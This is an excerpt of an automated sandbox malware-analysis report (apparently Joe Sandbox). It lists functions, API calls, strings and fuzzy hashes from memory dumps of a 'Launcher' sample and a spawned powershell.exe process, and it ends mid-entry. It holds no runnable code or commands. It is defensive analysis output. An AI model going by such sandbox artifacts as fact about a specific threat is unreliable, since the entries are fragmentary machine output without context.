Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2294
String ID:
API String ID: 314497554-0
Opcode ID: 38d839ec5628c691d1e75c880db02bd680a19cfe716b3d28e5ce9fead809fa45
Instruction ID: f8a1c446728ecb66608f904f0b976d8ea37bba04dafa40f69642c7936d4991c1
Opcode Fuzzy Hash: 38d839ec5628c691d1e75c880db02bd680a19cfe716b3d28e5ce9fead809fa45
Instruction Fuzzy Hash: 7FF06C3160450C7AD710DA60DC02FBAB75DFB46740F444066BA1C99091CBB9F955DFE0

Function 00B5CAA0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,00000093,?), ref: 00B5CAB4
#2294.MFC42U(?,0000008E,?,?,00000093,?), ref: 00B5CAC8
#2293.MFC42U(?,00000080,?,?,0000008E,?,?,00000093,?), ref: 00B5CADC
#2362.MFC42U(?,00000082,?,?,00000080,?,?,0000008E,?,?,00000093,?), ref: 00B5CAF0

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2294$#2293#2362
String ID:
API String ID: 983985581-0
Opcode ID: da330a662afc8fc8bf956b6e53a61390e624d0649671c4ba55d989809ef528fb
Instruction ID: 0e8db61b4538b7f991da473ea997d7bf625a2f9cc89f84cf37c0a43bb289261a
Opcode Fuzzy Hash: da330a662afc8fc8bf956b6e53a61390e624d0649671c4ba55d989809ef528fb
Instruction Fuzzy Hash: 4FF065322405097AD7119A50DC02FEABB9DFB41700F008132BA289A4A1DFB1EA65EBE0

Function 00B60AF0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,000000A2,?), ref: 00B60B04
#2294.MFC42U(?,000000A6,?,?,000000A2,?), ref: 00B60B18
#2294.MFC42U(?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 00B60B2C
#2294.MFC42U(?,00000070,?,?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 00B60B3D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2294
String ID:
API String ID: 314497554-0
Opcode ID: 961d691974a4967dd907121e1fa605c3179baf25f2b816294cbf1f2652f2475c
Instruction ID: 8459cbee2d81ebdf678d6c69f66a4b7fde5bbc712b63271139231bb7b0c9e637
Opcode Fuzzy Hash: 961d691974a4967dd907121e1fa605c3179baf25f2b816294cbf1f2652f2475c
Instruction Fuzzy Hash: BAF06C712405097ED7119A61DC06FD5B7ADEB42740F404032BA289D0A1DF71F955EBE0

Function 00B5C620 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,000000A2,?), ref: 00B5C634
#2294.MFC42U(?,000000A6,?,?,000000A2,?), ref: 00B5C648
#2294.MFC42U(?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 00B5C65C
#2294.MFC42U(?,00000070,?,?,00000095,?,?,000000A6,?,?,000000A2,?), ref: 00B5C66D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2294
String ID:
API String ID: 314497554-0
Opcode ID: 99eeaa3b270ed1fea4ed126587ffeb075330a1d6fcb3241ea659cc9ab8150847
Instruction ID: ddce8fd9efc1e75a646b7ad19f79120988fc6f0fef291535b31ceac1c773b360
Opcode Fuzzy Hash: 99eeaa3b270ed1fea4ed126587ffeb075330a1d6fcb3241ea659cc9ab8150847
Instruction Fuzzy Hash: 63F06C71240509BEE7119A51DC07F95B79DEB42740F004032BA289D0A1DB71F955EBF0

Function 00B6B460 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6B467
#489.MFC42U(0000008D,00000000,00000008,00B5ED96,00000090), ref: 00B6B478
#567.MFC42U(0000008D,00000000,00000008,00B5ED96,00000090), ref: 00B6B492
#567.MFC42U(0000008D,00000000,00000008,00B5ED96,00000090), ref: 00B6B4AD

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #567$#489H_prolog3
String ID:
API String ID: 3691984168-0
Opcode ID: 6edcc52f33b1297309e89d5127ab475353e1ee45bc46fd87484fbe779cd06a64
Instruction ID: ae1804612c6fccfd138817a57f42eb996560879e7d2220d1389ea4fa6d39ace6
Opcode Fuzzy Hash: 6edcc52f33b1297309e89d5127ab475353e1ee45bc46fd87484fbe779cd06a64
Instruction Fuzzy Hash: 7BF0A772A01216DBDB04AF9889013ACB6F0BF45700F5040DDF5947B381CBB85A05CBE5

Function 00B6ED80 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00B6FB48: GetModuleHandleW.KERNEL32(00000000), ref: 00B6FB4F

__set_app_type.MSVCRT ref: 00B6ED92
__p__fmode.MSVCRT ref: 00B6EDA8
__p__commode.MSVCRT ref: 00B6EDB6
__setusermatherr.MSVCRT ref: 00B6EDD7

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: ef6491c6f44ed6267545d3872c48cc7e57605af340c90aa7c905e3c8a9e947ac
Instruction ID: deef6c19c436340570c57fcaf7aed77bde3c1d9ef1c2a7fccf0513c979509696
Opcode Fuzzy Hash: ef6491c6f44ed6267545d3872c48cc7e57605af340c90aa7c905e3c8a9e947ac
Instruction Fuzzy Hash: 8DF0F874500302CFC7286B34FC1A5183BE0E706B22B111669E06A872F5CFB989C0DB20

Function 00B5C920 Relevance: 6.0, APIs: 4, Instructions: 22windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B5C938
#2634.MFC42U(00000000), ref: 00B5C946
#6195.MFC42U(00B521A0,00000000), ref: 00B5C952
#2634.MFC42U(00000001), ref: 00B5C95B

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2634$#6195MessageSend
String ID:
API String ID: 2287514142-0
Opcode ID: d2b4764fd42d8cb5f5abc8906af76cb14c996ff7389bdc803f781e409d31e696
Instruction ID: cbc9ca1df41cecf3d33ad8e82db498b3df1c7385f24b17c8c7d8a93846ff9dc9
Opcode Fuzzy Hash: d2b4764fd42d8cb5f5abc8906af76cb14c996ff7389bdc803f781e409d31e696
Instruction Fuzzy Hash: 5AE0EC3538031666FA3226206C0AF992A928B81F51F1600E4B7183E1D68FA5998396D5

Function 00B61AC0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

#6205.MFC42U(?,00000001,00000001), ref: 00B61AD1
#6205.MFC42U(?,00000001,00000001,?,00000001,00000001), ref: 00B61AE1
#6211.MFC42U(00000001,?,00000001,00000001,?,00000001,00000001), ref: 00B61AE9
#2385.MFC42U(00000001,?,00000001,00000001,?,00000001,00000001), ref: 00B61AF1

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6205$#2385#6211
String ID:
API String ID: 1216781411-0
Opcode ID: 233459fd0c871a3af7bc4b123d39c0b478dca3feb3f3eb371d064ddc359ff450
Instruction ID: f358b68a03ab1c1c5b4cfba181fa92f2004c8cb2b9d7ce193f1bf102d4fdb023
Opcode Fuzzy Hash: 233459fd0c871a3af7bc4b123d39c0b478dca3feb3f3eb371d064ddc359ff450
Instruction Fuzzy Hash: 39E01DA96102146BCF34EBF588D5CEFB6DDFF443447400855707AD7241DD389D048760

Function 00B6B37C Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6B383
#324.MFC42U(00000083,?,00000004,00B62D50,?,F6B930CF), ref: 00B6B395
#540.MFC42U(00000083,?,00000004,00B62D50,?,F6B930CF), ref: 00B6B3A7
#861.MFC42U(00B521A0,00000083,?,00000004,00B62D50,?,F6B930CF), ref: 00B6B3B8

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #324#540#861H_prolog3
String ID:
API String ID: 2127517272-0
Opcode ID: e8a96542d7499df5fd3aa0216516970102f7f46fe2c724aa01898afdcb29a5f4
Instruction ID: 61f907bf4eea858a7c68145ebf3560b657ab2c7a6eac352d7fb388e339e7b46a
Opcode Fuzzy Hash: e8a96542d7499df5fd3aa0216516970102f7f46fe2c724aa01898afdcb29a5f4
Instruction Fuzzy Hash: E4E04FB6610306ABD715EBA8C952BAD76E1BFA5301F1040D9F60057382CFB88614CBA6

Function 00B615C0 Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

#736.MFC42U(?,00B6161D), ref: 00B615D7
#807.MFC42U(?,00B6161D), ref: 00B615E2
#796.MFC42U(?,00B6161D), ref: 00B615ED
#794.MFC42U(?,00B6161D), ref: 00B615F8

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #736#794#796#807
String ID:
API String ID: 2485769241-0
Opcode ID: 7e929939908b38b36b32e271a450ff2f2b2ac7c0d6288bbb9b3ed7143537eae3
Instruction ID: 36b3d0cdc95ddfdd74c3c42ce2e8fe511eff8b3c7b91b64f5ab847bdc9624a06
Opcode Fuzzy Hash: 7e929939908b38b36b32e271a450ff2f2b2ac7c0d6288bbb9b3ed7143537eae3
Instruction Fuzzy Hash: 42E0EC3A0026108BC325EF60E8D1ADAB3E0BF55311F2445FD947707251EFB4AA48CB90

Function 00B5C53F Relevance: 6.0, APIs: 4, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

#693.MFC42U(?,00B5C5BD), ref: 00B5C550
#609.MFC42U(?,00B5C5BD), ref: 00B5C55B
#609.MFC42U(?,00B5C5BD), ref: 00B5C566
#609.MFC42U(?,00B5C5BD), ref: 00B5C56E

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #609$#693
String ID:
API String ID: 2192965535-0
Opcode ID: 47dad8d2d5b10863eb82b09fd0103e49d4160739d10ecf6356c750751c0a52cd
Instruction ID: 44ffa605a135fb279772932aafd3cb518ef226174c200946720b8ef446478ce0
Opcode Fuzzy Hash: 47dad8d2d5b10863eb82b09fd0103e49d4160739d10ecf6356c750751c0a52cd
Instruction Fuzzy Hash: 61D05E39111A12CBD33AFB30D451AEAF3D2EF54340F2145BEA5B703251AF74AA08C794

Function 00B6D473 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

StringFromGUID2.OLE32(?,?,00000028,?,?), ref: 00B6D4A1
wsprintfW.USER32 ref: 00B6D4B2

Strings

CLSID\%s\%s, xrefs: 00B6D4AC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: FromStringwsprintf
String ID: CLSID\%s\%s
API String ID: 1205525775-576494604
Opcode ID: d73f950a5959f3950ae91242152bde6d61cfb1a07265e41ba33f912d85cc97ee
Instruction ID: 069c9e30693cbc5b690ba4b52d81f6058c0ee8debc148472e6d342942931a3f8
Opcode Fuzzy Hash: d73f950a5959f3950ae91242152bde6d61cfb1a07265e41ba33f912d85cc97ee
Instruction Fuzzy Hash: 40F06D72A0020CAB8B00DF99DD459EF77FDEB86711B144065FD06AB150DB34AF09CBA1

Function 00B5EE70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 11COMMON

Download Yara Rule

APIs

#4709.MFC42U ref: 00B5EE75
#6195.MFC42U(System Configuration), ref: 00B5EE81

Strings

System Configuration, xrefs: 00B5EE7A

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #4709#6195
String ID: System Configuration
API String ID: 513596607-3459905039
Opcode ID: 79db20bb84c0385140876430cc60495f34f0e07be59bdc4fa78d8937af1b2fe6
Instruction ID: cf47dddbf29095b319b9f027e7aee80bae5a61bea936ae716e0c160d7877f622
Opcode Fuzzy Hash: 79db20bb84c0385140876430cc60495f34f0e07be59bdc4fa78d8937af1b2fe6
Instruction Fuzzy Hash: F4B09226A6A2B02656B63174381289E00C99AC2A6139604FAB821A3341DC9CCE0603D4

Function 00B6C5CA Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00B6C5E5
free.MSVCRT ref: 00B6C5F5
free.MSVCRT ref: 00B6C605
free.MSVCRT ref: 00B6C615

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 78753a86ff06ddd8bbcb7c09357a5333b737c18290997c55c40a515f308b4cea
Instruction ID: 8c86a46698b1ec762420cbf9cd2bb158ecf599a02232cbdc2cbb3c7de43155a0
Opcode Fuzzy Hash: 78753a86ff06ddd8bbcb7c09357a5333b737c18290997c55c40a515f308b4cea
Instruction Fuzzy Hash: 69F0B731410611DFD73A2B24E8097967FE1EB04722F16986DE0AA614B19B79ACC5CE04

Analysis Process: powershell.exePID: 1908, Parent PID: 6676COMMON

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00B7B490 Relevance: .3, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297b0115e4c3bc29dd56faac669d9e16fea2477d41495bf1f8ed1221efa5a800
Instruction ID: 4c3aa65255f74f3e4c1afba2c1a0e837aedc691d9f3fc0132e4fcbe357f986c0
Opcode Fuzzy Hash: 297b0115e4c3bc29dd56faac669d9e16fea2477d41495bf1f8ed1221efa5a800
Instruction Fuzzy Hash: 39918571B006555BDB29DFB489116AFBBF2EFC4700B00C92ED11AAB358DF346A058BD5

Function 00B7B4A0 Relevance: .3, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71097c83e6003df979e0cba0a113fdf36dd52876d1e718c0e63eb7ad5195390e
Instruction ID: ca4cda2cb0b2da49aa34496286f8e62e2d0cff3ba4062a952aca409a4a0ea22d
Opcode Fuzzy Hash: 71097c83e6003df979e0cba0a113fdf36dd52876d1e718c0e63eb7ad5195390e
Instruction Fuzzy Hash: D19175B1B006555BDB29DBB489116AFBBF6EFC4700B00C92ED11AAB358DF34A9058BC5

Function 071A2308 Relevance: 30.4, Strings: 23, Instructions: 1644COMMON

Download Yara Rule

Strings

4'kq, xrefs: 071A260D
pigh, xrefs: 071A23B0
|,ih, xrefs: 071A25DB
tPkq, xrefs: 071A3330
pigh, xrefs: 071A23A0
$kq, xrefs: 071A2CBA
tPkq, xrefs: 071A2D31
tPkq, xrefs: 071A2D25
4'kq, xrefs: 071A2BE7
4'kq, xrefs: 071A2619
4'kq, xrefs: 071A31C0
tPkq, xrefs: 071A3068
$kq, xrefs: 071A2CEC
$kq, xrefs: 071A2CE0
tPkq, xrefs: 071A305C
pigh, xrefs: 071A2363
tPkq, xrefs: 071A3324
pigh, xrefs: 071A2416
pigh, xrefs: 071A2582
4'kq, xrefs: 071A2BDB
4'kq, xrefs: 071A2EF8
4'kq, xrefs: 071A2EEE
4'kq, xrefs: 071A31B6

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq$4'kq$4'kq$4'kq$4'kq$4'kq$pigh$pigh$pigh$pigh$pigh$tPkq$tPkq$tPkq$tPkq$tPkq$tPkq$|,ih$$kq$$kq$$kq
API String ID: 0-4139333840
Opcode ID: 402096090d319614810fbd0fb5c4408e59b47443ab606a4ce3cb1e8d9f950b22
Instruction ID: 9a5bdb3b315f06acb370e8e1afe3cbf2f771bfdce31049c2e80c054ed5a64911
Opcode Fuzzy Hash: 402096090d319614810fbd0fb5c4408e59b47443ab606a4ce3cb1e8d9f950b22
Instruction Fuzzy Hash: 77C24BB5B04306EFDB268B6898007AABBF5BFC6310F14807AD515CB2D1DB35D986C7A1

Function 071A3CE8 Relevance: 5.6, Strings: 4, Instructions: 581
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'kq, xrefs: 071A4180
4'kq, xrefs: 071A4030
4'kq, xrefs: 071A4026
4'kq, xrefs: 071A418A

Memory Dump Source

Source File: 00000007.00000002.1809977733.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_71a0000_powershell.jbxd

Similarity

API ID:
String ID: 4'kq$4'kq$4'kq$4'kq
API String ID: 0-1293621312
Opcode ID: aeec9b95337ad801d86b9023ea64d29c5ad8841a86569a6bb4bbf8964deb8833
Instruction ID: 3193df9a72e798050a36000cbcd4db6a23e0a541940734bee0e9762c6d270b65
Opcode Fuzzy Hash: aeec9b95337ad801d86b9023ea64d29c5ad8841a86569a6bb4bbf8964deb8833
Instruction Fuzzy Hash: E7124BB5704355EFCB169B6C98007AABFA2AFD1310F1480BAD915CB3D1DB72D846C7A2

Function 08426840 Relevance: 1.5, APIs: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(?), ref: 084268A2

Memory Dump Source

Source File: 00000007.00000002.1813447534.0000000008420000.00000040.00000800.00020000.00000000.sdmp, Offset: 08420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8420000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 3507026636535a8fb0c2cca30d8bf31cdc37d2417bf0cc38083ab640f4f83d6f
Instruction ID: d1660a077c396c220300f5bcc1f649b798a29b5bbe3381a754d1043ed291010b
Opcode Fuzzy Hash: 3507026636535a8fb0c2cca30d8bf31cdc37d2417bf0cc38083ab640f4f83d6f
Instruction Fuzzy Hash: B711F5B59002588FDB10DF9AC584B9EFBF8EF48324F24841AD458A7310D774A944CFA5

Function 08426839 Relevance: 1.5, APIs: 1, Instructions: 45
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE(?), ref: 084268A2

Memory Dump Source

Source File: 00000007.00000002.1813447534.0000000008420000.00000040.00000800.00020000.00000000.sdmp, Offset: 08420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8420000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 40a5050dc631b7f15a6803f2a75fadd0ee7280b39b1ca2291eb7bfcc818997db
Instruction ID: 695c405cb32b86c376700d981a087f6f79a7dfd817aecedf6f87b0a64ccb9879
Opcode Fuzzy Hash: 40a5050dc631b7f15a6803f2a75fadd0ee7280b39b1ca2291eb7bfcc818997db
Instruction Fuzzy Hash: 211133B59042488FDB10CF99C54479EFFF4AF88314F24842AD458A7250D7789944CFA0

Function 00B76FE0 Relevance: 1.4, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 00B77105

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-3175707579
Opcode ID: 03b81d032334a70c7f4a6e0bc41a9244f399071e3374cc282706396f1a6b87f2
Instruction ID: 997081794a54dae8f341111802c0ea115fa74ae262f67871c65410303482436f
Opcode Fuzzy Hash: 03b81d032334a70c7f4a6e0bc41a9244f399071e3374cc282706396f1a6b87f2
Instruction Fuzzy Hash: 90413E347482048FCB14DB64C558AAEBBF1EF8E311F158099E406AB3A1DF35DD01CB60

Function 00B7AFA8 Relevance: 1.3, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(&kq, xrefs: 00B7AFCA

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID: (&kq
API String ID: 0-3641282905
Opcode ID: dc92117df1930310813e6e6f0bc576f80c414bfdef9b970cdc4ba6951d90bd52
Instruction ID: a9c840b7449bd671a783caa76c66a1859e3f58cb820dec4f77ac764d22431b77
Opcode Fuzzy Hash: dc92117df1930310813e6e6f0bc576f80c414bfdef9b970cdc4ba6951d90bd52
Instruction Fuzzy Hash: 4D21AE75A042588FCB14DFAED440B9FBFF5EB89320F24846AD419E7340CB7599058BA5

Function 00B74638 Relevance: .3, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41670f092c6556d618744fb3809c6649946a03dfceef9dc0caac7db837000e2e
Instruction ID: 68861cffbc03102f343622240c62754d3946578aedc6a0d143c086d349774732
Opcode Fuzzy Hash: 41670f092c6556d618744fb3809c6649946a03dfceef9dc0caac7db837000e2e
Instruction Fuzzy Hash: 8CB11734A012089FCB15DFA8D584A9EFBF2EF89311F25C199E818AB365C771ED45CB90

Function 00B729F0 Relevance: .2, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.1796833114.0000000000B70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57d1b3fbd4b67da20b1e23455646e66b9547cafc9e131b0791b2a03cad6d46fb
Instruction ID: 7defd5d01b901f16cc5248f0075a15c0d279caba2282d8bc41e25e655bb52af1
Opcode Fuzzy Hash: 57d1b3fbd4b67da20b1e23455646e66b9547cafc9e131b0791b2a03cad6d46fb
Instruction Fuzzy Hash: E39139B4A006058FCB15CF59C5949AEFBF1FF88310B2485A9D929AB3A5C735EC51CBA0

Function 00B7BAC0 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

